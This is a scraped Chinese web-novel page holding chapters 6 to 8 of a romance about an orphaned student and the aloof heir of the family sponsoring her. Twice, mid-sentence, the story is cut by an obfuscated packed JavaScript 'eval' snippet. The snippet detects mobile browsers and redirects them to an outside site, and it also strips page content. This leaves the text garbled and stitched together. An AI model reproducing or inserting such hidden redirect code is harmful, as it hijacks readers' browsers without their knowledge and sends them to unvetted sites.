这人似乎一贯如此,严肃内敛,说话不咸不淡,对什么事都云淡风轻的样子。 宋司雾嗯了一声,自觉这番交谈已经结束,下车,阖上门。 顾淮序手臂撑着窗沿,眼看路灯将她的影子在地上拉得细长,直到消失不见,开车走了。 回到宿舍楼,宋司雾发觉手机上有一通未接来电,是个陌生号码。 没一会儿又打过来。 她有股直觉,盯着屏幕数秒,去到走廊尽头,接起来。 “死哪儿去了?现在有人给你撑腰胆子大了是吧?” 她平静地开口:“什么事。” “他们给你钱了吧?” 宋司雾迅速分辨出吴晓岚口中的“他们”是谁,没作声。 吴晓岚在电话那头哼了一声:“明天先打一万过来,我把卡号发你。” 宋司雾不带什么情绪地问:“你要钱干嘛?” “你个没良心的,白养你这么多年。当年你没了爸妈,要不是我和你舅舅把你领回家,当亲女儿一样对待,给你吃给你穿,你能有命活到今天? “别以为我不知道,现在攀上人家了,捡了高枝儿就想飞了,想和我们撇清关系,门儿都没有!” “你在哪儿?” “让你打钱你就打,少问那么多废话。” 宋司雾异常地冷静,嗤了声,“你不会是想拿钱去救你丈夫吧?” 吴晓岚气得咬牙切齿:“小贱人,我拿不到钱,你也别想好过!” 宋司雾站在走廊里,视线飘向窗外,弯月如钩,清亮地挂在天边。 她听见自己的声音:“好啊,那就看到底谁不好过。” 6. Chapter 06 两天后,南城一中正式开学。 学校为高三毕业班单独辟了一栋教学楼,文理科分在不同楼层。 宋司雾所在的十四班在六层,周五课间,她绕到文科班找姜莱吃午饭。 两人在食堂二楼点了麻辣烫。 姜莱边吃边跟宋司雾吐槽,说上回同班几个男生看见她俩在校门口说话,第二天跑来找她要微信。 “我跟他们说你没有,他们还不信,说这年头谁不用微信啊,我真冤死了……” 宋司雾听她抱怨完,冷不丁开口:“下午我要去趟网吧。” 姜莱叼着鱼丸抬头,声音囫囵,“去网吧干嘛?” “查点东西。” 姜莱摆了摆手,以为她要查题,“不用那么麻烦,我手机借你,或者去我爸店里,电脑随你用。” 宋司雾筷子戳着米饭,没吭声。 姜莱从小认识宋司雾,对她家那档子的事多少了解。 见她这个反应,立时猜到几分,往她碗里夹了两只没染上红油的虾,说:“学校后门有几家,放学我陪你去。” 宋司雾说:“我自己去就行。” 姜莱勾着唇提醒:“你去老板不给你开机子。” “身份证借我。” 姜莱哭笑不得,“合着你今天来找我吃饭就为了这个是吧?” 宋司雾认真地看着她,“晚上想吃什么我请。” “……” 姜莱投降,直接把东西给她。 她能不知道这小妞嘛,兜比脸还干净。 和姜莱深邃的骨相不同,宋司雾的长相偏清冷,皮肤白,这会儿低头吃饭,睫毛在眼下拓出一层薄影。 模样看起来无害,但因为不太爱笑,总给人感觉从内而外透着股冷。 盯着这张又乖又纯的脸瞧了半天,姜莱突然想到个问题:“咱俩长得不一样,到时候老板不认咋办?” 宋司雾放下筷子,拿着身份证照一本正经看了看。 “没事,我可以丝袜蒙面。” “……” 姜莱翻过白眼。 听她扯。 饭吃到一半,食堂开始发放免费的汤饮,今天是冬瓜排骨汤,只有冬瓜没有排骨的那种。 一中是南城最好的公立高中,以严格的教学管理和高升学率闻名,校内设施条件和德威、惠灵顿那些国际贵族学校自然不能比,但也不差。 唯独能拿来吐槽的就是食堂。 除了层出不穷的诸如“草莓炒芹菜”、“玉米炒葡萄”之类的奇葩菜谱和黑暗料理,就是这免费汤饮,一般学生根本看不上,大多拿来涮餐具。 宋司雾去窗口领了一碗,味道是挺寡淡的,而且不太热了。 姜莱笑她:“很一般吧?说了你还不信。” 父母去世前,宋司雾的家里还算殷实,爸爸做外贸生意,妈妈在音乐学院当老师,她算是被宠大的,十岁之前基本没吃过什么苦。 尽管如此,宋爸爸还是觉得女孩子不能过于娇生惯养,每次回乡祭祖都会带上她。 小姑娘晕车,县城的路颠得她吐了一路,窝在妈妈怀里哭着闹情绪。宋爸爸心疼却还是坚持,名曰忆苦思甜,要让她知道父辈成就的来之不易。 南城一中是宋爸爸的母校,宋司雾小学时跟着校友团入校参观,见爸爸指着一处翻新过的食堂窗口说,当年他就是在这儿领餐,现在条件好了,还提供免费的汤饮。 那时她没想过以后会来一中念书。 当年没喝的汤,现在已经凉了。 宋司雾放下勺子,见姜莱正用一种奇怪的眼神看着她。 “怎么了,我脸上有钱?” 姜莱冲她右手努努嘴,“手怎么回事,受伤了?” 宋司雾嗯了声:“搬行李时不小心蹭的,破了点皮。” “少诓我,职高那伙人又找你麻烦了?” 见宋司雾不吭声,姜莱就知道自己猜得没错,“他们有病吧?你都转学了还阴魂不散!” 姜莱口中的“他们”,是宋司雾以前学校对面职高的几个混混,专门在上下学路上蹲人收“保护费”。 宋司雾高一时撞见过一次,他们把和她同班的一个男同学堵在巷子里,拿烟头往他校服上烫洞。 那男生坐她前桌,平常戴个眼镜,斯斯文文的,有回宋司雾生病缺课,还借过她化学笔记。 她偷偷拍下照片报了警。 第二天那伙人被放出来,领头的黄毛把她按在灰霉墙上嘲,说昨天那小子没种,稍微威胁两句就把她卖了。 后来,他们盯了宋司雾两年。 “没有,是开学前那天在路上碰见了。”宋司雾语气沉静,脸上没什么表情,仿佛在谈论和自己无关的事情。 姜莱哼哼两声,把她手捉了过去。 “涂药了没有?” “涂了。” “下次他们要是还敢来找你,直接叫保卫科。要不是Z中那帮老东西不作为,那几个孙子早进去踩缝纫机了。” 宋司雾勉力地抬了抬唇角。 从小到大,除了父母,也只有姜莱会这样维护她。 自从她家道中落,从前爱围在她身边的那些所谓死党都作鸟兽散,明里暗里奚落她的也大有人在。 宋司雾很早就知道人心不可靠,从前在父母庇护的象牙塔中养成的开朗天真,慢慢也就变成了现在的沉默麻木。 也只有在和好朋友相处的时候,才能偶尔窥见一点从前的影子。 - 周五晚上,顾淮序受邀出席一个艺术品拍卖会。 姐姐顾釉如不在国内,托他去拍一幅心仪很久的油画。 他倒无所谓,只问既然那么喜欢,怎么不亲自回来。 顾釉如在电话那头笑说,这次安排的欧洲巡展至少还要一个月才能结束,实在抽不出空,只好叫他代为出席。 这类拍卖会一般竞买人不会亲临现场参与竞价,多数由助理代劳。 真正的买家通过远程直播了解拍品情况,和助理电话沟通出价。 今次拍品的卖方背后是帝都的沈氏集团,表面是拍卖,实则是信息互通、利益交换的契机,因此现场还是到了不少南城的各界人士。 那副油画出来时,在场的人也都精明,瞧出顾淮序中意,没几个人跟他竞价,最后以六百五十万元成交。 拍卖会结束之后还有晚宴,顾淮序没有参加,让助理联系主办方直接拿画走人。 赵修梁也不知道哪里来的消息,知道顾淮序今晚在这儿,专门跑来给自己求情。 赵修梁年近六十,算是跟着老爷子一路摸爬滚打过来的。 这几年顾老爷子的精力愈发不济,集团的事每天千头万绪,也是心有余而力不足,所以顾淮序一回国就全权让他接手。 尽管这位少东家在德国读博期间就分管集团在欧洲的部分业务,但顾氏高层盘根错节,权利倾轧,表面勤谨恭顺,实际各怀心思。 单论赵修梁这件事,顾淮序的堂兄顾虔业就指责他太不留情面,说董事长对下属一向体恤,这么做恐怕会伤了不少老臣的心。 确实,近几年老爷子越来越讲究“人文关怀”,某个被资助的小姑娘不就是爱屋及乌的结果吗。 顾淮序也不多言,对老爷子只有一句话:要是放任这样的蛀虫留在集团,往后大厦倾塌也是指日可待。 赵修梁一开口就细数自己这些年对集团做的贡献,话里话外内涵有人要越过董事会狡兔死走狗烹。 顾淮序安静听他说完,表情疏无变化,提起纯白羊脂玉瓷壶倒了一杯茶,放到赵修梁面前,语气薄凉:“听说令正是做纪检工作的。” 赵修梁心中一凛,有些不明其意。 顾淮序继续说:“这轮审计结果很快就会送到她手上,赵叔年事已高,以后集团的事就不用费心了。” 赵修梁气得发抖,整个人扑上来时被保安拦住,又因没站稳几乎跪倒在地。 “阿序——哦不,顾总。我错了,我知道错了,我保证以后绝不再犯。你放心,公司账上亏空的钱我都会补上。看在这些年我对顾氏忠心耿耿的份儿上,饶过我这一回。” 顾淮序抬了抬手,示意保安放开他。 “这件事情我帮不了你。我劝赵叔还是积极配合调查,争取减刑。” 打发了赵修梁,在露台吹了会儿风,正掏烟盒,手机响了,顾淮序接起来。 电话那头一个严肃的男声—— “你好,是宋司雾的监护人吗?这里是南城XX区XX路派出所,请你现在过来一趟。” - 顾淮序到派出所的时候,大厅里还剩三个人。 两个犯事儿的社会青年被铐在角落里,蹲着等审讯。 宋司雾穿着简单的白T和牛仔裤,坐在长椅一端。人是低着头的,听见警察喊她名字倏然抬起头来。 顾淮序走进大厅,没什么表情地看了她一眼,躬背在册子上签名。 宋司雾从椅子上站起来。 他穿着与往日不同,一身枪灰色西装整齐挺括,领带打得仔细,袖扣腕表一样不缺,是出席正式场合的着装。 铐在墙边的黄毛青年悄瞄了眼停在门外的那辆黑色卡宴,对着同伴暗暗操了声。 小姑娘看着挺普通,晚上两人刚进来的时候,她就在这儿了。 好像是因为未成年,在网吧被网管逮住了,警察批评教育一顿,叫她家人来接,没想到等了半天居然来这么一大款。 顾淮序签完字,和民警说了几句便提步出门,宋司雾赶紧跟上去。 他站在门口台阶上,摸了摸西裤的口袋,掏出烟盒和打火机,抽一支含在嘴里,手拢住火正要点,想到什么又收起来。 “饿不饿?” 他声线低沉,比夜风还疏淡三分。 宋司雾愣一下,摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854903|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾淮序不带什么情绪地嗯一声,把身份证递给她,让她收好,“我送你回去。”说完,几步下了台阶。 滴滴两声,院内梧桐树下一辆黑色汽车车灯亮起。 宋司雾走近一看,她认得这车。 那晚她在街头被人霸凌,顾淮序就开的这辆,价格不菲,造型却十分低调,不细看真容易错认成普通SUV,以至于她情急之下会钻进他的车避险。 刚上车坐好,宋司雾就听见自己肚子叫了一声,动静倒不大。 她坐直身体,拿余光瞄了眼顾淮序,他正在专心倒车,浑然未觉的样子。 车开了一段,经过几个路口,最后停在一家装修很有年代感的餐厅门外。 “下车,陪我吃顿便饭。” 他口吻很是淡漠,一副不容置喙的语气。 宋司雾犹疑一瞬。 他还没吃晚饭? 这身装束叫人以为他刚从高级酒宴上下来。 自觉已经耽误他很多时间,她没有拒绝的余地,立刻下了车,快步跟上。 餐厅打着江浙菜的招牌,店内装饰古朴雅致,这个时间人不算多,很清静。 穿过几个圆形石拱门,沿着木质楼梯上楼,到包厢坐下,服务生进来点单。 侍者沏茶时,宋司雾留意到对方左手拇指似乎缺了半截。 一直盯着别人的残肢不礼貌,她只看了一眼便收回目光。 顾淮序翻着菜单,问她:“有没有什么忌口的?” 宋司雾摇头。 点完招牌白水鱼、蟹酿橙和几样时蔬,他又问她要什么甜品。 宋司雾盯着他没作声,心道两个人吃得完吗? 顾淮序像是瞧出她的心思,递过菜单,说:“他家菜分量不多,你看看还想吃什么。” 服务生到她身边依样介绍,宋司雾看得眼花缭乱,最后选了一例小时候常吃的桂花酒酿圆子。 待工作人员都退出去,包厢里只剩她和顾淮序两个人,宋司雾莫名生出几分紧张。 吃饭恐怕是借口,找机会对她批评教育才是目的。 上回只是小打小闹,这次进了派出所,估计这位要摆出长辈架子好好对她耳提面命一番。 如此想着,她心不在焉地端起茶杯尝了一口,不自觉蹙眉。 顾淮序瞧她,“难喝?” 宋司雾愣了下,委婉地说:“味道有点怪。” 茶叶像是被烟熏过,回味还有点酸。 “这是六安篮茶,算是黑茶的一种,在江淮一带很出名。”顾淮序视线投过来,“上回看你很懂茶。” 宋司雾捏着茶盏,砰地一声轻轻放下,唇角挂着挑不出错的弧度,“没有多懂,那天是碰巧认识,在顾爷爷面前班门弄斧了。” 她幼时曾跟随一位名师学习乐器,那位对茶道颇有研究,经年累月下来耳濡目染,多少学到一些皮毛。 上回顾爷爷聊到茶叶,她很自然地就接了一句,全然没有卖弄的意思,但落到旁人眼里恐怕有刻意之嫌。 顾淮序淡淡嗯一声,没再说什么。 小姑娘聪明,年纪轻轻很会藏巧于拙,还练就了一身察言观色的本领。 他逐渐确信那天他救下的可能不是“兔子”,而是一只狡猾的小狐狸。 食物很快上桌,折腾了一晚上,宋司雾确实有些饿,不过有顾淮序在,她不敢造次。 他似乎很忙,菜刚上完,就说要出去打个电话,让她先吃。 来这种地方吃饭的人主要图个清净,菜品味道中规中矩,胜在食材新鲜。 宋司雾夹一著鱼肉送进嘴里,鲜甜软嫩。 蟹酿橙也还不错,蟹肉混杂着橙子的清香,风味独特。 她以前很爱这道菜,算起来也许久没吃过了。 昨晚闲聊时隐约听丁姨提了一嘴,顾淮序基本不吃海鲜水产,今天点的菜却都是这些,似乎是在迎合她的口味。 这两次见面,他对她的审视,宋司雾不是没有觉察到,但他又在方方面面表现得很照顾她的样子。 除了顾爷爷的关系,她能想到的另一种解释是他们这种层次的人各方面欲望已经餍足,偶尔会通过向下施展善意的行为来获得精神上的满足感。 比如某些商人扮演“爱心人士”动不动捐个学校之类的,真不真心不重要,重要的是挣了一个好名声。 这些宋司雾都不在意,她要做的,就是利用顾家的资源完成想完成的事。 等顾淮序回来,她已经差不多吃饱了。 她食量浅,餐盘里的菜几乎看不出动了,就连那份小碗的酒酿圆子也只喝掉一半,倒是蟹酿橙基本吃完。 顾淮序在她对面坐下,并无半分动筷子的意思。 宋司雾看他,试探问:“顾先生不吃吗?” 顾淮序目光平视过来,注意到小姑娘右手袖口露出一小节白色敷贴,淡漠的眼底静水流深,“伤怎么样了?” 7. Chapter 07 宋司雾垂眸,看了眼右手,把衣服袖子往下拉了寸许,盖住手背。 “涂了药,已经没事了。” 顾淮序嗯了一声,问:“饱了?” 宋司雾点了点头。 顾淮序说:“吃好了送你回去。” 宋司雾立刻道:“我可以自己回去,不耽误您时间了。” 然而顾淮序已经起身,没给她拒绝的余地。 她当然不指望一点小小的苦肉计能有多大作用,顾淮序这种阅历的人,过的桥比她走的路还多,这点小伎俩大概根本不会放在眼里。 临走前宋司雾留心瞧了眼账单,默默倒吸口凉气,这顿便饭实在名不副实。 从包间出来,顾淮序去取车,宋司雾在前厅等。 餐厅门口的桂花树下趴了只脏兮兮的小橘猫,耳朵尖尖的,似乎是饿了,一直冲她叫唤。 宋司雾想要走近点去瞧,就听见一阵说笑声,猫陡然受了惊,一下子跑没影了。 抬眼看去,一伙人正往这边来,前排几个男生高高瘦瘦的,似乎还有熟面孔。 连桐也看见宋司雾了。 视线跟他撞上时肉眼可见的冷漠,好像根本不认识他似的。 他稍稍被这目中无人的态度惹恼了,又想起上回她那句“不关你的事”和那个眼神,更加不爽。 受了顾家的恩惠,还敢那么跟他说话,真是不识好歹。 聚餐的地方就订在附近,连桐叫其他人先去,自己去办点事,一会儿汇合。 他手抄在兜里,大摇大摆走到宋司雾面前,轻叱:“大晚上在人家店门口干嘛呢,站岗啊?” 宋司雾明显不想理他,转身欲走。 连桐拦住她去路,扯唇笑了下,瞥了眼餐厅招牌,“你胆子倒是挺大的,敢到这种地方消费。” 宋司雾终于抬眼看他,冷冷吐出三个字:“我没有。” 连桐轻哼一声,来了劲,“那你吃的什么饭,难不成有人请客?” 宋司雾抿紧双唇,别开脸。 见她这副表情,连桐反而笑了,瞧着柔柔弱弱的,脾气倒挺倔。 自从这学期开学,整个年级对宋司雾的议论就没断过。 起初是隔壁宿舍的男生,后来校队一起打球的体育生也来问,那个普高来的转校生是不是在他班上。 平心而论,宋司雾长得还算可以,但也仅仅是扔进人堆里,不至于泯然于众的那种长相。 白是白,但脸上一点血色都没有,还特瘦,身材干巴巴的,每次看见她穿那身校服露出裙摆下两条竹竿似的腿,连桐都不禁发出疑问: 怎么会有人瘦成这样? 她家的饭都喂给谁吃了? 还有她那种孤僻的性格,跟冰块似的,半点不招人喜欢,偏还有人上赶着去碰硬钉子。 听说隔壁班几个送去示好的纸条和礼物,第二天就从教室垃圾桶里被翻出来。 原封不动,拆都没拆。 想到这,连桐觉得很有必要好好给这人敲个警钟。 免得她脑袋抽筋着了谁的道儿,做出什么不光彩的事情来,到时候丢外公的脸。 “我告诉你啊,我们家资助你是为了防止你误入歧途,要是有什么奇怪的人平白无故对你好,给你送东西、请你吃饭什么的,趁早离他远点。现在坏人可多了,别怪我没提醒你。” 见她一副莫名其妙的表情看着自己,也不知道听进去多少。 于是又凶巴巴威胁了句:“说话啊,听到没有?” 宋司雾不耐烦地瞪了他一眼。 连桐:“……” 果然是茅坑里的石头,又臭又硬。 还想再教育她两句,前方忽地车灯一闪。 宋司雾不再理他,快步朝路边走去。 连桐在身后叫她,她却充耳不闻,迅速拉开副驾车门钻进去,坐好之后连窗户一起关上。 连桐追到跟前,才发现这辆卡宴有点眼熟,目光越过宋司雾看向驾驶座,车里坐的竟然是顾淮序。 顾淮序手搭在方向盘上,看了看连桐,又瞥了眼身旁气鼓鼓的宋司雾,不难猜出发生了什么。 连桐不得不绕到另一侧,“小舅,你怎么跟她在一起啊,你今晚不是……” “回头再说。”顾淮序打断他,“你在这干嘛?” 连桐对刚才抓着宋司雾一通怀疑莫名有点心虚,怕待会儿某人恶人先告状,赶紧解释: “我朋友生日聚会,在附近吃饭,碰上了就、就随便聊两句……要没什么事,小舅我先走了啊。” 顾淮序知道连桐虽然狐朋狗友多,但也不敢乱来,没再多问,只叫他别喝酒。 连桐走后,顾淮序开车拐上大路,大灯照着前方,汇入车流。 察觉到副驾上的人在出神,出声提醒:“安全带。” 宋司雾微怔,才发觉刚才上车时没系。 扣好安全带,兜里手机振动起来。 这部还是几年前吴晓岚用淘汰给她的,键有些不大灵,接电话要按两下。 电话是姜莱打来的,听宋司雾的室友说她一晚上没回宿舍,担心她出事。 姜莱问:“你现在在哪儿呢?” 宋司雾说:“回去的路上。” “你吓死我了!我听说学校后门网吧被查了,还以为你蹲派出所去了!” “……” 宋司雾这边压着声音,那头却嗓门贼大,生怕别人听不见。 车厢里安静,广播都没开,手机听筒跟个喇叭似的,不贴着耳朵都听得一清二楚。 宋司雾说:“我没事。” “你没事儿就行,要是你今晚睡派出所,我还得费劲巴拉去捞你。对了,网吧老板没为难你吧?你不会真用丝袜蒙面去的吧?” “……” 宋司雾想把电话挂了。 挂之前还是跟姜莱交代了几句,说身份证改天还她。 收起手机,不由地看一眼顾淮序,他脸上没什么表情,专心开车的样子。 餐厅离一中不远,十几分钟开到。 街道这侧没办法掉头,车只能停在马路对面。 顾淮序把车熄火,从驾驶位上下来,“我送你过去。” 红灯倒计时,两人停在斑马线前。 他高她许多,这会儿站得近,路灯将影子拖在地上,一短一长。 宋司雾习惯了沉默,不说话的时候任由思绪飘远,以至于顾淮序开口时她微微一怔。 “今天去网吧做什么?” 寡淡而平和的语气,不像问责的意思。 宋司雾没吭声。 顾淮序一手抄在西裤口袋里,转头去看她。 小姑娘眉眼清灵,外表和普世眼中那种需要被保护照顾的柔弱形象很相符,行为却背道而驰。 他没有苛责小辈的习惯,连桐偶尔犯了一些无伤大雅的过失,他也是睁只眼闭只眼,由得他去。 不过今天这事他既然插手了,没有不问一句的道理。 “我不是你的家长,也不是监护人,你想说就说,不愿意说就罢。” 宋司雾沉默了片刻,方才开口。 她说:“查学习资料。” 顾淮序微微抬眉,似乎对她的回答持怀疑态度。 宋司雾看出他的疑问,继续说:“您不相信的话,可以去调监控记录。” 她抬起头,眼底清澈澄净,极具欺骗性的表情。 顾淮序看着她,眸色加深几分。 她这般信口雌黄,倒是真不怕他把今天的事告诉老爷子。 宋司雾目光一错不错地与他对视,看不出分毫紧张,全然一副问心无愧的架势。 在大人眼里,她干了件离经叛道的事,因此早做好了被究责的准备。 尽管知道找顾淮序帮忙,他必然能从民警那儿了解原委,但其中细节,想必不会过多深究。 顾淮序收回目光,不带什么情绪地问:“有没有想过考什么学校?” 宋司雾一愣,不知道他为什么突然问这个,把预备好的那套说辞咽了下去,垂着眼没吭声。 说没想过是假的。 舅舅出事后,她一度以为自己要辍学了。 那时候吴晓岚的态度明确,说家里没了顶梁柱,还欠下一大笔债,不可能再继续供她读书。 后来顾老先生知道了这件事,派人联系到宋司雾的学校和老师,提出要资助她,给她转学,并且承担所有费用。 开学前那天,是她第一次去东郊老宅拜访顾爷爷。 老爷子私下给了她一张卡,告诉她每个月会往里面打一笔生活费,叫她务必收下。 她站在原地半晌才接过那张银行卡,低声和顾老先生道谢。 她在心底暗暗自语,就当是借的,以后一定还。 想到这些,她控制不住地微微颤抖,用力攥住手指,一句话也说不出来。 现实引力太大,容不得她想怎样。 顾淮序低头瞧她,良久,才道:“你舅舅的事我会叫人留意,不必担心。你很聪明,我不希望你因为无关紧要的事情耽误自己。” 宋司雾抿住嘴唇,想起刚才她坐在派出所的长椅上翻手机通讯录,里面一个能领走她的大人都没有。 有位老民警好心,给她倒了杯水,起身去接时,一张烫金工艺的卡片从牛仔裤口袋里掉出来。 那是她今早上药时随手揣进口袋里的。 民警问她,这名片上的人怎么和他们查到的监护人信息不一样。 “你确定这个人会来接你?” 她也不确定顾淮序会不会来。 无意中摸到右手手掌上的敷贴,又莫名地想,或许吧。 好像除了试着信任他,也没有别的选择。 走到马路对面,宋司雾停下脚步,匿去翻涌的情绪,出声喊住顾淮序。 “顾先生,就到这儿吧。” 顾淮序驻足站定,顺着她的视线看了眼不远处校门口的光亮。 “今天谢谢您。”宋司雾顿了一顿,复又开口,“您会把这件事告诉顾爷爷吗?” 顾淮序垂眼看她,目光幽深,带着几分审视,“你觉得呢。” 宋司雾想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854904|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,直言:“我觉得您应该没那么无聊。” 很聪明的回答。 面前的女孩神色笃定,细白脖颈微微仰起,月光在她眉眼下方投出一点微薄阴影,叫他无端想起初见时那道寥落的背影,仿佛一只遗世独立的空谷幽兰。 小姑娘很会欲退还进。 明明是担心他告状,偏给他戴了顶高帽,要真跟她计较,反而显得他无聊且没有风度。 顾淮序敛眸,未置一词。 女孩抬着下巴,还在等他回应的样子,一双眼睛纯粹干净,神情算得上殷切。 顾淮序瞥了一眼便收回目光。 “下不为例。” - 周五晚上,大部分同学都回家住,402的女孩子们也不例外。 在校门口同顾淮序道完别,宋司雾回到宿舍区。 拾阶而上走到四楼,灰白长廊两侧漆黑一片,只有头顶的白炽灯还亮着。 一进宿舍打开灯,她就察觉到不对劲,快步走向自己的位置。 眼前一幕让气血瞬间涌上大脑。 椅子翻倒在地,桌子被杂物淹没,书架隔层和抽屉里的东西七零八落,柜子的内衣内裤被全部扯出来扔在地上,有几件还能看见数道脚印…… 狼藉一片。 宋司雾在原地站了片刻,勉强冷静下来,从兜里掏出手机,拍照存证,然后下楼找来了值班的宿管。 宿管阿姨一进门着实被这场面吓了一跳,赶紧问宋司雾是哪个班的学生,又叫她看看有没有丢东西。 没过一会儿,保卫科的人上来查看情况,对宿舍内外的门窗都进行了仔细检查,没有发现撬动的痕迹。 保卫科的人说,由于宋司雾什么也没丢,只是个人物品被弄乱了,看上去更像是恶作剧,叫她先别担心,这几天睡觉锁好门窗,他们会加强警备。 周一一早,班主任将宋司雾叫到办公室,说保卫科调取了上周五下午宿舍楼走廊的监控,暂时没发现可疑人员。 “那天除了你们住在402的同学,只有七班几个查寝的学生进去检查卫生。”班主任说到这顿了顿,看着宋司雾,斟酌用词,“那几名同学,有和你认识的吗?” 看着面前沉默的少女,班主任无奈地叹了口气。 高三对所有要参加高考的学子都是至关重要的一年,很少会有学生在这个时候办理转学,更何况是从普高转进南城一中。 宋司雾的情况他大致了解。 小姑娘话不多,性格有点孤僻,但成绩优异,很聪明。在原来那种学习环境下,联考依旧名列前茅实在难得。 这学期她初来乍到,连自己班上的人估计都没认全,更遑论和其他班级接触了。 转校生融入集体往往有一段适应期,越内敛安静的性格越容易被孤立。 校园霸凌这种事虽说在一中很少见,但也不排除几年会出现一两例。 班主任安慰她:“这件事你受委屈了。我会找七班老师聊一下,如果真的是有人故意为之,我一定和校领导反映,严肃处理。我听宿管说你有些书损坏了,这几本是新的,你先拿去用吧。” 宋司雾低头看着桌上那一摞崭新的课本,没吭声。 班主任虽然一句没提,但她也知道自己在学校获得关照很大程度是沾了顾家的光。 她没有拒绝,收下书,和老师道谢。 从办公室出来经过七班门口,又看见了那个叫明曦的女孩子,还是时髦的公主切发型。 她站在走廊上,手里拿着最新一期的时装杂志和几个女生讨论爱豆排名,眉眼弯弯,笑得明艳生动。 宋司雾抱着书经过她们身边时,除了女孩们的谈笑声,还有一句讥嘲轻轻地落在她耳朵里。 “活该。” 宋司雾不为所动,没给一个眼神,脖颈挺直,仿佛未听见般,迈开步子,径直走了过去。 - 高考报名在即,高三学生中秋节只放一天假。 宋司雾趁假期回家拿报名需要的户口本。 舅舅家她待了六年,房子不大,七十来平,虽比不上从前的家,但也算是个遮风避雨的地方。 等判决结果下来,房产查封,这里就和她再没关系。 取完东西走到小区门口,宋司雾被门卫的保安大叔叫住。 大叔也住附近,眼熟宋司雾,说是刚才来了辆黑色轿车,对方有东西要转交给里面的住户,问了门牌号,就是宋司雾家。 “上面有规定,不让在这儿存放物品。” 大叔往路边指了指,“呐,就是那辆车,还没走呢,是你家亲戚吧,过节还专门来送礼,一看就是大老板。” 大老板。 她不记得自己认识什么大老板。 宋司雾顺着大叔手指的方向朝路边看去。 顾淮序立在车边,一只手掌着车门,另只手贴在耳侧,似乎在打电话。 他一身商务西装,衬得气质比上次见面更加清冷矜贵。 要装作没看见已经来不及,与人视线径直对上,下一秒顾淮序就收起手机,朝她走来。 8. Chapter 08 顾淮序身高腿长,没几步就到她跟前。 “你电话打不通。”他说。 宋司雾低头摸上衣口袋,顿觉不妙,手机果然不在。 她今天是坐地铁过来的,中途还转了一次站,节假日人多,可能是什么时候被挤掉了。 顾淮序见她愁眉不展,也猜到几分,瞥了眼她身上的背包,“回学校?” 宋司雾捏着空荡荡的口袋,还在思考手机会丢在哪儿,有些许恍神。 愣了几秒,才点一下头,“过来拿东西。” 顾淮序淡淡嗯了一声,“走吧,我正好去接连桐。” 宋司雾刚想拒绝,他已提步转身往回走,她只好跟上去。 上了车,把包放去后座,瞥见皮质座椅上摆着盒月饼,包装很是精致。 顾淮序说:“衔芳斋定的,丁姨要我带一份给你。” 上回拜访顾爷爷之后,宋司雾又去过一次东郊老宅。 那天顾淮序不在,她陪顾爷爷喝完茶,就在院子里帮丁姨给兰花培土。 丁姨终日料理家事,难得有小辈作伴,拉着宋司雾聊了不少话。 初见宋司雾时,只觉得这小姑娘模样清秀,说话也中听。 如今相处下来,更是愈发喜欢她的聪慧伶俐。 只是早年间的遭遇,难免让她身上多了一些少年老成的稳重,少了这个年纪本该有的生动鲜活。 丁姨有心,惦记着中秋小姑娘孤零零地一个人过,于是单独备了份礼,嘱咐顾淮序今天差人送去。 宋司雾默了一瞬,和他道谢。 顾淮序说:“今天过节,晚上如果想去老宅,可以叫人来接你。” 她轻摆一下头,“不用麻烦了,昨晚已经打电话问候了顾爷爷。” 顾淮序目光在她脸上掠过一眼,半月不见,她似乎又瘦了些。 面色透着不健康的苍白,脸颊轻微凹陷,皮肉紧紧包裹着下颌,轮廓明显。 这个年纪的女孩子正是青春洋溢、生机盎然的时候,在她身上却看不到多少朝气。 顾淮序自认不算冷血,但也没有泛滥的同情心。 那天从老宅回来之后,老爷子当晚又追了一通电话,特地嘱咐他,说小姑娘无父无母,身世可怜,叫他往后尽量帮扶,照顾一二。 这些年,除了集团的事,父子二人鲜少交流。 一方面是顾淮序向来不把顾行雍的话放在心上,另一方面是老爷子上了年纪,对儿女情份淡薄的事实彻底看开。 顾淮序之前基本住在国外,顾釉如画展忙起来的时候也是满世界飞,一双儿女真正留在父亲身边的日子屈指可数。 顾淮序回国之后,但凡顾釉如夫妻不在南城,他都会尽量帮忙盯着连桐,免得这个二世祖惹事。 这回老爷子嘱托他照顾宋司雾,也不算什么大事。 小姑娘现在和连桐同校同班,一只羊也是放,两只羊也是赶,在他眼里没有区别。 开了一段,车停在路口,要等一个很久的红灯。 顾淮序手搭在方向盘上,淡声问:“最近怎么样,还顺利吗?” 宋司雾一愣,点了点头。 舅舅的案子这周庭审结束,一审法院判了有期徒刑五年,舅舅选择上诉,但因为证据事实充分,二审减刑的可能性不大。 “请律师了吗?”顾淮序问。 “嗯。” “属于你的个人财产,法院怎么判的?” “不剩什么了。房产都在舅舅名下。” 当年宋父宋正韬离开顾氏后,自己做起了外贸生意。 积年累月下来也攒了点家底,虽然没有大富大贵,但生活还算富足,衣食无忧。 父母遇难后,舅舅舅妈就成了宋司雾的监护人。 舅舅冯继早年是货车司机,后来宋正韬给他在公司里安排做了个小经理,占了些股份,管管物流。 因为宋正韬出事,公司业务大量萎缩,食尽鸟投林,原先的管理班子也跟着解散。 起初还能勉强维持经营,几番折腾下来,资金链断裂,最终宣告破产。 公司没了之后,冯继又干起了老本行。 跑大路辛苦,不知何时就染上了赌博的恶习。 